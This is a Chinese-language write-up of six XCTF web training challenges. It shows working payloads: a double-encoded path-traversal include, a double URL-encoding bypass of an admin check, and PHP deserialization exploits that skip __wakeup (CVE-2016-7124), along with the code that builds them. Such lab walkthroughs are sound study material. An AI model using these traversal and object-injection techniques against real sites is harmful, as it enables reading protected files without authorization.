@[TOC](Xctf–Web–Challenge–area Wp)

1.baby_web

> 题目描述:想想初始页面是哪个
思路: 先进入网页,看到url为==http://111.200.241.244:59979/1.php==
结合题目描述,初始页面应该是:index.php,
尝试修改url——>失败,又跳回到1.php
查看源码:没有发现什么,修改为index.php再次查看源码,在network中看到了
image.png

其实还有第二种方法

image.png
bp抓包,修改网页请求头,==sent to repeater== go一下,在响应中出现flag

2.warmup

进入环境,只有一张图片,选择查看源码,发现注释
image.png
查看该php文件,出现一个checkFile(&$page)函数,这里代码实现的功能是判断参数类型,并对参数进行多次字符串截取函数介绍.
代码中还有一个hint.php,内容为
flag not here, and flag in ffffllllaaaagggg
==source.php== 中含有文件引入语句include $_REQUEST['file']
综合以上判断:1:需要file传参、2:checkfile返回值为true(需要将’?’经过url编码两次)、3:文件名为flag not here, and flag in ffffllllaaaagggg
结合几位大神的解答,得到传参值:?file=source.php%253f/../../../../ffffllllaaaagggg

3.Training-WWW-Robots

网站先列出了一串英文:
`In this little training challenge, you are going to learn about the Robots_exclusion_standard.
The robots.txt file is used by web crawlers to check if they are allowed to crawl and index your website or only parts of it.
Sometimes these files reveal the directory structure instead protecting the content from being crawled.

Enjoy!`

经过翻译是这样:

==在这个小小的训练挑战中,您将学习Robots_exclusion_standard。
txt文件被网络爬虫用来检查他们是否被允许爬行和索引你的网站或仅部分网站。
有时这些文件会显示目录结构,而不是保护内容不被抓取。
享受==
这里附上robors协议的一个介绍:Robots

既然是robots,那先看看robots.txt文件
是这样的:
** `User-agent: *
Disallow: /fl0g.php
User-agent: Yandex
Disallow: ***
==Disallow: /fl0g.php== 表示禁止所有爬虫访问 /fl0g.php,那咱们就访问一下这个页面
image.png
其实这一题和新手区的robots是一样的XCTF新手区

4.PHP2

提到php,那咱们先访问index.php—–>没有收获
此处有两个方法:
1:使用御剑扫描隐藏文件,出现index.phps (可以自己配置扫面类型)
image.png
2:访问index.phps == (类似于访问网站php文件源码)==

php
<?php
if("admin"===$_GET[id]) {
  echo("<p>not allowed!</p>"); #如果判断传参id===amdin,则退出文件
  exit();
}

$_GET[id] = urldecode($_GET[id]);#将传参进行一次url解码后判断传参id==amdin,则输出Key
if($_GET[id] == "admin")
{
  echo "<p>Access granted!</p>";
  echo "<p>Key: xxxxxxx </p>";
}
?>

==又代码可判断==:==需要将id=admin进行两次url编(url执行时会自动解码一次,php代码再次解码)==
这里编码不能用urlencode编码工具,可以用url16进制编码工具
编码后,使用GET传参
image.png

5:Web_php_unserialize

题目意思是:PHP的反序列化
这里粘一个:反序列化漏洞介绍文章 相互学习
先看一下页面代码:

class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php   #反序列化漏洞运用
            $this->file = 'index.php'; 
        } 
    } 
}
#以上三个事件在unserialize魔术方法中都有定义

if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

由以上代码可以得知:
1:需要对fl4g.php进行序列化
2:需要绕过**__wakeup()**函数
因此,构造以下代码:

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}

$a=new Demo('fl4g.php');
$b=serialize($a);//得到fl4g.php的序列化对象
echo $b;#O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}


$b=preg_replace('/:4:/',':+4:',$b);//绕过正则匹配
echo '</br>';
echo $b;


$b=preg_replace('/:1:/',':3:',$b);//绕过魔术方法weakup()函数
echo '</br>';
echo $b;

$b=base64_encode($b);//对处理过的对象进行base64编码
echo '</br>';
echo '</br>';
echo $b;

若在对象的魔法函数中存在的__wakeup方法,那么之后再调用 unserilize() 方法进行反序列化之前则会先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行———Simba1949 PHP反序列化-__wakeup()方法漏洞(CVE-2016-7124)_bin789456的博客-CSDN博客](https://blog.csdn.net/bin789456/article/details/119539105))

本地执行得到payload:TzorNDoiRGVtbyI6Mzp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
O:+4:”test”:1:{s:1:”a”;s:3:”aaa”;}
O:4:”test”:1:{s:1:”a”;s:3:”aaa”;} ** 结果是相同的
其实,不光
object**类型处理可以多一个’+’,其他类型也可以

6:unSerialize3

题目环境:

xctf{link
public $flag = '111';//public定义flag变量公开可见 public function __wakeup(){ exit('bad requests'); } ?code=

代码中定义了一个类xctf,类中引用了方法** function __wakeup() **
由此猜测,code所传参数是一个序列化对象,并且这个对象要绕过__wakeup() 函数传参才能成功
思路:
1.将xctf类实例化
2.修改实例化对象的数量值,绕过__wakeup() 函数
步骤

1.序列化对象
<?php
    class xctf{
        public $flag='111';
        public function __wakeup(){
        exit('bad requests');
        }
        #?code=
    }


        #$a = new xctf();
        $a=new xctf();
        $b = serialize($a);
        echo '<br>';
        var_dump($b);
        #string(36) "O:4:"xctf":1:{s:4:"flag";s:3:"111";}"

?>

2.修改对象数量值
O:4:”xctf”:2:{s:4:”flag”;s:3:”111”;}

O:表示序列化的事对象
4:表示序列化的类名称长度
xctf:表示序列化的类的名称
2:表示被序列化的对象的属性个数
s:属性名
flag:属性值

3.urlGET传参
?code=O:4:”xctf”:2:{s:4:”flag”;s:3:”111”;}